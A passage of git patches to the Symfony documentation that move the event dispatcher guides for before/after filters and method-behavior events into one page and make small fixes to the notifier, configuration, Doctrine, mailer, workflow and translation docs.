diff --git a/_build/redirection_map b/_build/redirection_map
index c58e85b6c23..d2b82c85efd 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -156,11 +156,13 @@
 /cookbook/email/index /email
 /cookbook/email/spool /email/spool
 /cookbook/email/testing /email/testing
-/cookbook/event_dispatcher/before_after_filters /event_dispatcher/before_after_filters
+/cookbook/event_dispatcher/before_after_filters /event_dispatcher#event-dispatcher-before-after-filters
+/event_dispatcher/before_after_filters /event_dispatcher#event-dispatcher-before-after-filters
 /cookbook/event_dispatcher/class_extension /event_dispatcher/class_extension
 /cookbook/event_dispatcher/event_listener /event_dispatcher
 /cookbook/event_dispatcher/index /event_dispatcher
 /cookbook/event_dispatcher/method_behavior /event_dispatcher/method_behavior
+/event_dispatcher/method_behavior /event_dispatcher#event-dispatcher-method-behavior
 /cookbook/expressions /security/expressions
 /expressions /security/expressions
 /cookbook/form/create_custom_field_type /form/create_custom_field_type
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 206fde3fc99..d690f168d2c 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -515,7 +515,6 @@ Learn More
     :maxdepth: 1
     :glob:
 
-    /components/event_dispatcher/*
     /event_dispatcher/*
 
 * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>`
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 2bf1289ffe7..97d70af9598 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -404,11 +404,379 @@ for a particular event dispatcher:
 
     The ``dispatcher`` option was introduced in Symfony 5.3.
 
-Learn more
-----------
+.. _event-dispatcher-before-after-filters:
 
-.. toctree::
-    :maxdepth: 1
+How to Set Up Before and After Filters
+--------------------------------------
 
-    event_dispatcher/before_after_filters
-    event_dispatcher/method_behavior
+It is quite common in web application development to need some logic to be
+performed right before or directly after your controller actions acting as
+filters or hooks.
+
+Some web frameworks define methods like ``preExecute()`` and ``postExecute()``,
+but there is no such thing in Symfony. The good news is that there is a much
+better way to interfere with the Request -> Response process using the
+:doc:`EventDispatcher component </components/event_dispatcher>`.
+
+Token Validation Example
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+Imagine that you need to develop an API where some controllers are public
+but some others are restricted to one or some clients. For these private features,
+you might provide a token to your clients to identify themselves.
+
+So, before executing your controller action, you need to check if the action
+is restricted or not. If it is restricted, you need to validate the provided
+token.
+
+.. note::
+
+    Please note that for simplicity in this recipe, tokens will be defined
+    in config and neither database setup nor authentication via the Security
+    component will be used.
+
+Before Filters with the ``kernel.controller`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+First, define some token configuration as parameters:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        parameters:
+            tokens:
+                client1: pass1
+                client2: pass2
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <parameters>
+                <parameter key="tokens" type="collection">
+                    <parameter key="client1">pass1</parameter>
+                    <parameter key="client2">pass2</parameter>
+                </parameter>
+            </parameters>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        $container->setParameter('tokens', [
+            'client1' => 'pass1',
+            'client2' => 'pass2',
+        ]);
+
+Tag Controllers to Be Checked
+.............................
+
+A ``kernel.controller`` (aka ``KernelEvents::CONTROLLER``) listener gets notified
+on *every* request, right before the controller is executed. So, first, you need
+some way to identify if the controller that matches the request needs token validation.
+
+A clean and easy way is to create an empty interface and make the controllers
+implement it::
+
+    namespace App\Controller;
+
+    interface TokenAuthenticatedController
+    {
+        // ...
+    }
+
+A controller that implements this interface looks like this::
+
+    namespace App\Controller;
+
+    use App\Controller\TokenAuthenticatedController;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+
+    class FooController extends AbstractController implements TokenAuthenticatedController
+    {
+        // An action that needs authentication
+        public function bar()
+        {
+            // ...
+        }
+    }
+
+Creating an Event Subscriber
+............................
+
+Next, you'll need to create an event subscriber, which will hold the logic
+that you want to be executed before your controllers. If you're not familiar with
+event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
+
+    // src/EventSubscriber/TokenSubscriber.php
+    namespace App\EventSubscriber;
+
+    use App\Controller\TokenAuthenticatedController;
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpKernel\Event\ControllerEvent;
+    use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
+    use Symfony\Component\HttpKernel\KernelEvents;
+
+    class TokenSubscriber implements EventSubscriberInterface
+    {
+        private $tokens;
+
+        public function __construct($tokens)
+        {
+            $this->tokens = $tokens;
+        }
+
+        public function onKernelController(ControllerEvent $event)
+        {
+            $controller = $event->getController();
+
+            // when a controller class defines multiple action methods, the controller
+            // is returned as [$controllerInstance, 'methodName']
+            if (is_array($controller)) {
+                $controller = $controller[0];
+            }
+
+            if ($controller instanceof TokenAuthenticatedController) {
+                $token = $event->getRequest()->query->get('token');
+                if (!in_array($token, $this->tokens)) {
+                    throw new AccessDeniedHttpException('This action needs a valid token!');
+                }
+            }
+        }
+
+        public static function getSubscribedEvents()
+        {
+            return [
+                KernelEvents::CONTROLLER => 'onKernelController',
+            ];
+        }
+    }
+
+That's it! Your ``services.yaml`` file should already be setup to load services from
+the ``EventSubscriber`` directory. Symfony takes care of the rest. Your
+``TokenSubscriber`` ``onKernelController()`` method will be executed on each request.
+If the controller that is about to be executed implements ``TokenAuthenticatedController``,
+token authentication is applied. This lets you have a "before" filter on any controller
+you want.
+
+.. tip::
+
+    If your subscriber is *not* called on each request, double-check that
+    you're :ref:`loading services <service-container-services-load-example>` from
+    the ``EventSubscriber`` directory and have :ref:`autoconfigure <services-autoconfigure>`
+    enabled. You can also manually add the ``kernel.event_subscriber`` tag.
+
+After Filters with the ``kernel.response`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In addition to having a "hook" that's executed *before* your controller, you
+can also add a hook that's executed *after* your controller. For this example,
+imagine that you want to add a ``sha1`` hash (with a salt using that token) to
+all responses that have passed this token authentication.
+
+Another core Symfony event - called ``kernel.response`` (aka ``KernelEvents::RESPONSE``) -
+is notified on every request, but after the controller returns a Response object.
+To create an "after" listener, create a listener class and register
+it as a service on this event.
+
+For example, take the ``TokenSubscriber`` from the previous example and first
+record the authentication token inside the request attributes. This will
+serve as a basic flag that this request underwent token authentication::
+
+    public function onKernelController(ControllerEvent $event)
+    {
+        // ...
+
+        if ($controller instanceof TokenAuthenticatedController) {
+            $token = $event->getRequest()->query->get('token');
+            if (!in_array($token, $this->tokens)) {
+                throw new AccessDeniedHttpException('This action needs a valid token!');
+            }
+
+            // mark the request as having passed token authentication
+            $event->getRequest()->attributes->set('auth_token', $token);
+        }
+    }
+
+Now, configure the subscriber to listen to another event and add ``onKernelResponse()``.
+This will look for the ``auth_token`` flag on the request object and set a custom
+header on the response if it's found::
+
+    // add the new use statement at the top of your file
+    use Symfony\Component\HttpKernel\Event\ResponseEvent;
+
+    public function onKernelResponse(ResponseEvent $event)
+    {
+        // check to see if onKernelController marked this as a token "auth'ed" request
+        if (!$token = $event->getRequest()->attributes->get('auth_token')) {
+            return;
+        }
+
+        $response = $event->getResponse();
+
+        // create a hash and set it as a response header
+        $hash = sha1($response->getContent().$token);
+        $response->headers->set('X-CONTENT-HASH', $hash);
+    }
+
+    public static function getSubscribedEvents()
+    {
+        return [
+            KernelEvents::CONTROLLER => 'onKernelController',
+            KernelEvents::RESPONSE => 'onKernelResponse',
+        ];
+    }
+
+That's it! The ``TokenSubscriber`` is now notified before every controller is
+executed (``onKernelController()``) and after every controller returns a response
+(``onKernelResponse()``). By making specific controllers implement the ``TokenAuthenticatedController``
+interface, your listener knows which controllers it should take action on.
+And by storing a value in the request's "attributes" bag, the ``onKernelResponse()``
+method knows to add the extra header. Have fun!
+
+.. _event-dispatcher-method-behavior:
+
+How to Customize a Method Behavior without Using Inheritance
+------------------------------------------------------------
+
+If you want to do something right before, or directly after a method is
+called, you can dispatch an event respectively at the beginning or at the
+end of the method::
+
+    class CustomMailer
+    {
+        // ...
+
+        public function send($subject, $message)
+        {
+            // dispatch an event before the method
+            $event = new BeforeSendMailEvent($subject, $message);
+            $this->dispatcher->dispatch($event, 'mailer.pre_send');
+
+            // get $subject and $message from the event, they may have been modified
+            $subject = $event->getSubject();
+            $message = $event->getMessage();
+
+            // the real method implementation is here
+            $returnValue = ...;
+
+            // do something after the method
+            $event = new AfterSendMailEvent($returnValue);
+            $this->dispatcher->dispatch($event, 'mailer.post_send');
+
+            return $event->getReturnValue();
+        }
+    }
+
+In this example, two events are dispatched:
+
+#. ``mailer.pre_send``, before the method is called,
+#. and ``mailer.post_send`` after the method is called.
+
+Each uses a custom Event class to communicate information to the listeners
+of the two events. For example, ``BeforeSendMailEvent`` might look like
+this::
+
+    // src/Event/BeforeSendMailEvent.php
+    namespace App\Event;
+
+    use Symfony\Contracts\EventDispatcher\Event;
+
+    class BeforeSendMailEvent extends Event
+    {
+        private $subject;
+        private $message;
+
+        public function __construct($subject, $message)
+        {
+            $this->subject = $subject;
+            $this->message = $message;
+        }
+
+        public function getSubject()
+        {
+            return $this->subject;
+        }
+
+        public function setSubject($subject)
+        {
+            $this->subject = $subject;
+        }
+
+        public function getMessage()
+        {
+            return $this->message;
+        }
+
+        public function setMessage($message)
+        {
+            $this->message = $message;
+        }
+    }
+
+And the ``AfterSendMailEvent`` even like this::
+
+    // src/Event/AfterSendMailEvent.php
+    namespace App\Event;
+
+    use Symfony\Contracts\EventDispatcher\Event;
+
+    class AfterSendMailEvent extends Event
+    {
+        private $returnValue;
+
+        public function __construct($returnValue)
+        {
+            $this->returnValue = $returnValue;
+        }
+
+        public function getReturnValue()
+        {
+            return $this->returnValue;
+        }
+
+        public function setReturnValue($returnValue)
+        {
+            $this->returnValue = $returnValue;
+        }
+    }
+
+Both events allow you to get some information (e.g. ``getMessage()``) and even change
+that information (e.g. ``setMessage()``).
+
+Now, you can create an event subscriber to hook into this event. For example, you
+could listen to the ``mailer.post_send`` event and change the method's return value::
+
+    // src/EventSubscriber/MailPostSendSubscriber.php
+    namespace App\EventSubscriber;
+
+    use App\Event\AfterSendMailEvent;
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+
+    class MailPostSendSubscriber implements EventSubscriberInterface
+    {
+        public function onMailerPostSend(AfterSendMailEvent $event)
+        {
+            $returnValue = $event->getReturnValue();
+            // modify the original ``$returnValue`` value
+
+            $event->setReturnValue($returnValue);
+        }
+
+        public static function getSubscribedEvents()
+        {
+            return [
+                'mailer.post_send' => 'onMailerPostSend',
+            ];
+        }
+    }
+
+That's it! Your subscriber should be called automatically (or read more about
+:ref:`event subscriber configuration <ref-event-subscriber-configuration>`).
diff --git a/event_dispatcher/before_after_filters.rst b/event_dispatcher/before_after_filters.rst
deleted file mode 100644
index 5be62d9ac09..00000000000
--- a/event_dispatcher/before_after_filters.rst
+++ /dev/null
@@ -1,237 +0,0 @@
-.. index::
-   single: EventDispatcher
-
-How to Set Up Before and After Filters
-======================================
-
-It is quite common in web application development to need some logic to be
-performed right before or directly after your controller actions acting as
-filters or hooks.
-
-Some web frameworks define methods like ``preExecute()`` and ``postExecute()``,
-but there is no such thing in Symfony. The good news is that there is a much
-better way to interfere with the Request -> Response process using the
-:doc:`EventDispatcher component </components/event_dispatcher>`.
-
-Token Validation Example
-------------------------
-
-Imagine that you need to develop an API where some controllers are public
-but some others are restricted to one or some clients. For these private features,
-you might provide a token to your clients to identify themselves.
-
-So, before executing your controller action, you need to check if the action
-is restricted or not. If it is restricted, you need to validate the provided
-token.
-
-.. note::
-
-    Please note that for simplicity in this recipe, tokens will be defined
-    in config and neither database setup nor authentication via the Security
-    component will be used.
-
-Before Filters with the ``kernel.controller`` Event
----------------------------------------------------
-
-First, define some token configuration as parameters:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        parameters:
-            tokens:
-                client1: pass1
-                client2: pass2
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <parameters>
-                <parameter key="tokens" type="collection">
-                    <parameter key="client1">pass1</parameter>
-                    <parameter key="client2">pass2</parameter>
-                </parameter>
-            </parameters>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        $container->setParameter('tokens', [
-            'client1' => 'pass1',
-            'client2' => 'pass2',
-        ]);
-
-Tag Controllers to Be Checked
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-A ``kernel.controller`` (aka ``KernelEvents::CONTROLLER``) listener gets notified
-on *every* request, right before the controller is executed. So, first, you need
-some way to identify if the controller that matches the request needs token validation.
-
-A clean and easy way is to create an empty interface and make the controllers
-implement it::
-
-    namespace App\Controller;
-
-    interface TokenAuthenticatedController
-    {
-        // ...
-    }
-
-A controller that implements this interface looks like this::
-
-    namespace App\Controller;
-
-    use App\Controller\TokenAuthenticatedController;
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-
-    class FooController extends AbstractController implements TokenAuthenticatedController
-    {
-        // An action that needs authentication
-        public function bar()
-        {
-            // ...
-        }
-    }
-
-Creating an Event Subscriber
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Next, you'll need to create an event subscriber, which will hold the logic
-that you want to be executed before your controllers. If you're not familiar with
-event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
-
-    // src/EventSubscriber/TokenSubscriber.php
-    namespace App\EventSubscriber;
-
-    use App\Controller\TokenAuthenticatedController;
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpKernel\Event\ControllerEvent;
-    use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
-    use Symfony\Component\HttpKernel\KernelEvents;
-
-    class TokenSubscriber implements EventSubscriberInterface
-    {
-        private $tokens;
-
-        public function __construct($tokens)
-        {
-            $this->tokens = $tokens;
-        }
-
-        public function onKernelController(ControllerEvent $event)
-        {
-            $controller = $event->getController();
-
-            // when a controller class defines multiple action methods, the controller
-            // is returned as [$controllerInstance, 'methodName']
-            if (is_array($controller)) {
-                $controller = $controller[0];
-            }
-
-            if ($controller instanceof TokenAuthenticatedController) {
-                $token = $event->getRequest()->query->get('token');
-                if (!in_array($token, $this->tokens)) {
-                    throw new AccessDeniedHttpException('This action needs a valid token!');
-                }
-            }
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                KernelEvents::CONTROLLER => 'onKernelController',
-            ];
-        }
-    }
-
-That's it! Your ``services.yaml`` file should already be setup to load services from
-the ``EventSubscriber`` directory. Symfony takes care of the rest. Your
-``TokenSubscriber`` ``onKernelController()`` method will be executed on each request.
-If the controller that is about to be executed implements ``TokenAuthenticatedController``,
-token authentication is applied. This lets you have a "before" filter on any controller
-you want.
-
-.. tip::
-
-    If your subscriber is *not* called on each request, double-check that
-    you're :ref:`loading services <service-container-services-load-example>` from
-    the ``EventSubscriber`` directory and have :ref:`autoconfigure <services-autoconfigure>`
-    enabled. You can also manually add the ``kernel.event_subscriber`` tag.
-
-After Filters with the ``kernel.response`` Event
-------------------------------------------------
-
-In addition to having a "hook" that's executed *before* your controller, you
-can also add a hook that's executed *after* your controller. For this example,
-imagine that you want to add a ``sha1`` hash (with a salt using that token) to
-all responses that have passed this token authentication.
-
-Another core Symfony event - called ``kernel.response`` (aka ``KernelEvents::RESPONSE``) -
-is notified on every request, but after the controller returns a Response object.
-To create an "after" listener, create a listener class and register
-it as a service on this event.
-
-For example, take the ``TokenSubscriber`` from the previous example and first
-record the authentication token inside the request attributes. This will
-serve as a basic flag that this request underwent token authentication::
-
-    public function onKernelController(ControllerEvent $event)
-    {
-        // ...
-
-        if ($controller instanceof TokenAuthenticatedController) {
-            $token = $event->getRequest()->query->get('token');
-            if (!in_array($token, $this->tokens)) {
-                throw new AccessDeniedHttpException('This action needs a valid token!');
-            }
-
-            // mark the request as having passed token authentication
-            $event->getRequest()->attributes->set('auth_token', $token);
-        }
-    }
-
-Now, configure the subscriber to listen to another event and add ``onKernelResponse()``.
-This will look for the ``auth_token`` flag on the request object and set a custom
-header on the response if it's found::
-
-    // add the new use statement at the top of your file
-    use Symfony\Component\HttpKernel\Event\ResponseEvent;
-
-    public function onKernelResponse(ResponseEvent $event)
-    {
-        // check to see if onKernelController marked this as a token "auth'ed" request
-        if (!$token = $event->getRequest()->attributes->get('auth_token')) {
-            return;
-        }
-
-        $response = $event->getResponse();
-
-        // create a hash and set it as a response header
-        $hash = sha1($response->getContent().$token);
-        $response->headers->set('X-CONTENT-HASH', $hash);
-    }
-
-    public static function getSubscribedEvents()
-    {
-        return [
-            KernelEvents::CONTROLLER => 'onKernelController',
-            KernelEvents::RESPONSE => 'onKernelResponse',
-        ];
-    }
-
-That's it! The ``TokenSubscriber`` is now notified before every controller is
-executed (``onKernelController()``) and after every controller returns a response
-(``onKernelResponse()``). By making specific controllers implement the ``TokenAuthenticatedController``
-interface, your listener knows which controllers it should take action on.
-And by storing a value in the request's "attributes" bag, the ``onKernelResponse()``
-method knows to add the extra header. Have fun!
diff --git a/event_dispatcher/method_behavior.rst b/event_dispatcher/method_behavior.rst
deleted file mode 100644
index 4e2f00fef0e..00000000000
--- a/event_dispatcher/method_behavior.rst
+++ /dev/null
@@ -1,143 +0,0 @@
-.. index::
-   single: EventDispatcher
-
-How to Customize a Method Behavior without Using Inheritance
-============================================================
-
-Doing something before or after a Method Call
----------------------------------------------
-
-If you want to do something right before, or directly after a method is
-called, you can dispatch an event respectively at the beginning or at the
-end of the method::
-
-    class CustomMailer
-    {
-        // ...
-
-        public function send($subject, $message)
-        {
-            // dispatch an event before the method
-            $event = new BeforeSendMailEvent($subject, $message);
-            $this->dispatcher->dispatch($event, 'mailer.pre_send');
-
-            // get $subject and $message from the event, they may have been modified
-            $subject = $event->getSubject();
-            $message = $event->getMessage();
-
-            // the real method implementation is here
-            $returnValue = ...;
-
-            // do something after the method
-            $event = new AfterSendMailEvent($returnValue);
-            $this->dispatcher->dispatch($event, 'mailer.post_send');
-
-            return $event->getReturnValue();
-        }
-    }
-
-In this example, two events are dispatched:
-
-#. ``mailer.pre_send``, before the method is called,
-#. and ``mailer.post_send`` after the method is called.
-
-Each uses a custom Event class to communicate information to the listeners
-of the two events. For example, ``BeforeSendMailEvent`` might look like
-this::
-
-    // src/Event/BeforeSendMailEvent.php
-    namespace App\Event;
-
-    use Symfony\Contracts\EventDispatcher\Event;
-
-    class BeforeSendMailEvent extends Event
-    {
-        private $subject;
-        private $message;
-
-        public function __construct($subject, $message)
-        {
-            $this->subject = $subject;
-            $this->message = $message;
-        }
-
-        public function getSubject()
-        {
-            return $this->subject;
-        }
-
-        public function setSubject($subject)
-        {
-            $this->subject = $subject;
-        }
-
-        public function getMessage()
-        {
-            return $this->message;
-        }
-
-        public function setMessage($message)
-        {
-            $this->message = $message;
-        }
-    }
-
-And the ``AfterSendMailEvent`` even like this::
-
-    // src/Event/AfterSendMailEvent.php
-    namespace App\Event;
-
-    use Symfony\Contracts\EventDispatcher\Event;
-
-    class AfterSendMailEvent extends Event
-    {
-        private $returnValue;
-
-        public function __construct($returnValue)
-        {
-            $this->returnValue = $returnValue;
-        }
-
-        public function getReturnValue()
-        {
-            return $this->returnValue;
-        }
-
-        public function setReturnValue($returnValue)
-        {
-            $this->returnValue = $returnValue;
-        }
-    }
-
-Both events allow you to get some information (e.g. ``getMessage()``) and even change
-that information (e.g. ``setMessage()``).
-
-Now, you can create an event subscriber to hook into this event. For example, you
-could listen to the ``mailer.post_send`` event and change the method's return value::
-
-    // src/EventSubscriber/MailPostSendSubscriber.php
-    namespace App\EventSubscriber;
-
-    use App\Event\AfterSendMailEvent;
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-
-    class MailPostSendSubscriber implements EventSubscriberInterface
-    {
-        public function onMailerPostSend(AfterSendMailEvent $event)
-        {
-            $returnValue = $event->getReturnValue();
-            // modify the original ``$returnValue`` value
-
-            $event->setReturnValue($returnValue);
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                'mailer.post_send' => 'onMailerPostSend',
-            ];
-        }
-    }
-
-That's it! Your subscriber should be called automatically (or read more about
-:ref:`event subscriber configuration <ref-event-subscriber-configuration>`).

From 8f7582b8776a34a40105dce1a22cdc7ec70a1ecb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Jan 2023 16:38:59 +0100
Subject: [PATCH 2841/5766] Fix minor issue

---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index d690f168d2c..8defeee6ba6 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -515,7 +515,7 @@ Learn More
     :maxdepth: 1
     :glob:
 
-    /event_dispatcher/*
+    event_dispatcher
 
 * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>`
 * :ref:`The kernel.event_subscriber tag <dic-tags-kernel-event-subscriber>`

From 3dbb4ab6acc6738d8c15d7045858ccd8b19ce46e Mon Sep 17 00:00:00 2001
From: Philipp Christen <philipp.christen@srf.ch>
Date: Fri, 27 Jan 2023 15:39:41 +0100
Subject: [PATCH 2842/5766] Update notifier.rst

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index f94598f6d04..a5b1ec2456d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -332,7 +332,7 @@ you to send messages to chat services::
         public function thankyou(ChatterInterface $chatter)
         {
             $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
-                // if not set explicitly, the message is send to the
+                // if not set explicitly, the message is sent to the
                 // default transport (the first one configured)
                 ->transport('slack');
 

From 48d710e9b0866bf66eaf997de55f4e1fd6560b8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Jan 2023 17:19:51 +0100
Subject: [PATCH 2843/5766] Reword

---
 configuration.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 9ec99a528a0..5e78afd93ae 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -360,16 +360,14 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 
 .. tip::
 
-    When working with :ref:`Compiler Passes </service_container/compiler_passes>`,
-    you have the possibility to declare parameters that will only be available
-    during the container compilation. These parameters will be automatically removed
-    from the container once its build is done. To declare parameters only
-    available at compile-time, pre-prend their name with a dot ``.`` (for example,
-    ``.mailer.transport``).
+    By convention, parameters whose names start with a dot ``.`` (for example,
+    ``.mailer.transport``), are available only during the container compilation.
+    They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>`
+    to declare some temporary parameters that won't be available later in the application.
 
 .. versionadded:: 6.3
 
-    Parameters only available at compile time were introduced in Symfony 6.3.
+    Compile-time parameters were introduced in Symfony 6.3.
 
 .. seealso::
 

From 32d50e9bb70a28f0dd1510562eba528abf9dd5a9 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 27 Jan 2023 23:07:54 +0100
Subject: [PATCH 2844/5766] Update example to match actual make::entity output

---
 doctrine.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 4b205fe73c4..4576c0167ca 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -135,19 +135,19 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
     use App\Repository\ProductRepository;
     use Doctrine\ORM\Mapping as ORM;
 
-     #[ORM\Entity(repositoryClass: ProductRepository::class)]
+    #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
         #[ORM\Id]
         #[ORM\GeneratedValue]
         #[ORM\Column]
-        private int $id;
+        private ?int $id = null;
 
         #[ORM\Column(length: 255)]
-        private string $name;
+        private ?string $name = null;
 
         #[ORM\Column]
-        private int $price;
+        private ?int $price = null;
 
         public function getId(): ?int
         {

From 8f8a12b2d1adb23f7e90935d911458c07b3ce178 Mon Sep 17 00:00:00 2001
From: Gabriel Bugeaud <MrGabigoo@users.noreply.github.com>
Date: Sat, 28 Jan 2023 21:09:02 +0100
Subject: [PATCH 2845/5766] fix(mailer): mailpace mailer package name

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 5bdd2615bd6..7fddf612570 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -108,7 +108,7 @@ Mailjet             ``composer require symfony/mailjet-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
-MailPace            ``composer require symfony/mailpace-mailer``
+MailPace            ``composer require symfony/mail-pace-mailer``
 Infobip             ``composer require symfony/infobip-mailer``
 ==================  ==============================================
 

From 79358aacc45b0d570e1b527ba8979afb6835cfdf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 29 Jan 2023 18:39:09 +0100
Subject: [PATCH 2846/5766] [FrameworkBundle][Workflow] Register alias for
 argument for workflow services with workflow name only

---
 workflow.rst | 33 +++++++++++++++++++++++++++++----
 1 file changed, 29 insertions(+), 4 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 9163b58809c..f08bfb48338 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -248,12 +248,9 @@ machine type, use ``camelCased workflow name + StateMachine``::
 
     class MyClass
     {
-        private $blogPublishingWorkflow;
-
         // Symfony will inject the 'blog_publishing' workflow configured before
-        public function __construct(WorkflowInterface $blogPublishingWorkflow)
+        public function __construct(private readonly WorkflowInterface $blogPublishingWorkflow)
         {
-            $this->blogPublishingWorkflow = $blogPublishingWorkflow;
         }
 
         public function toReview(BlogPost $post)
@@ -268,10 +265,38 @@ machine type, use ``camelCased workflow name + StateMachine``::
         }
     }
 
+Workflows can also be injected thanks to their name and the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
+attribute::
+
+    use App\Entity\BlogPost;
+    use Symfony\Component\DependencyInjection\Attribute\Target;
+    use Symfony\Component\Workflow\WorkflowInterface;
+
+    class MyClass
+    {
+        public function __construct(
+            #[Target('blog_publishing')]
+            private readonly WorkflowInterface $workflow
+        ) {
+        }
+
+        // ...
+    }
+
+This allows you to decorrelate the argument name of any implementation
+name.
+
 .. versionadded:: 6.2
 
     All workflows and state machines services are tagged since in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    Injecting a workflow with only its name and
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target` was
+    introduced in Symfony 6.3.
+
 .. tip::
 
     If you want to retrieve all workflows, for documentation purposes for example,

From 817e4e756c2b2e2fc72a3102d8394ec25f0aed0a Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 29 Jan 2023 21:16:54 +0100
Subject: [PATCH 2847/5766] Fix translation refs

---
 reference/dic_tags.rst | 2 +-
 routing.rst            | 2 +-
 translation.rst        | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 14227fe6b9e..6123c5c04d2 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -642,7 +642,7 @@ register it as a service, then tag it with ``kernel.fragment_renderer``.
 kernel.locale_aware
 -------------------
 
-**Purpose**: To access and use the current :doc:`locale </translation/locale>`
+**Purpose**: To access and use the current :ref:`locale <translation-locale>`
 
 Setting and retrieving the locale can be done via configuration or using
 container parameters, listeners, route parameters or the current request.
diff --git a/routing.rst b/routing.rst
index 08a561020ab..de258200f91 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2267,7 +2267,7 @@ Localized Routes (i18n)
 -----------------------
 
 If your application is translated into multiple languages, each route can define
-a different URL per each :doc:`translation locale </translation/locale>`. This
+a different URL per each :ref:`translation locale <translation-locale>`. This
 avoids the need for duplicating routes, which also reduces the potential bugs:
 
 .. configuration-block::
diff --git a/translation.rst b/translation.rst
index 7288c4d217c..93aae7c771e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -42,7 +42,7 @@ The translation process has several steps:
 #. :ref:`Create translation resources/files <translation-resources>`
    for each supported locale that translate each message in the application;
 
-#. Determine, :doc:`set and manage the user's locale </translation/locale>`
+#. Determine, :ref:`set and manage the user's locale <translation-locale>`
    for the request and optionally
    :ref:`on the user's entire session <locale-sticky-session>`.
 

From 04bd7c9cc94b50187ddcb9680237a213b290ddf5 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 29 Jan 2023 21:18:28 +0100
Subject: [PATCH 2848/5766] Fix markup

---
 translation.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/translation.rst b/translation.rst
index 93aae7c771e..12b62c6ce12 100644
--- a/translation.rst
+++ b/translation.rst
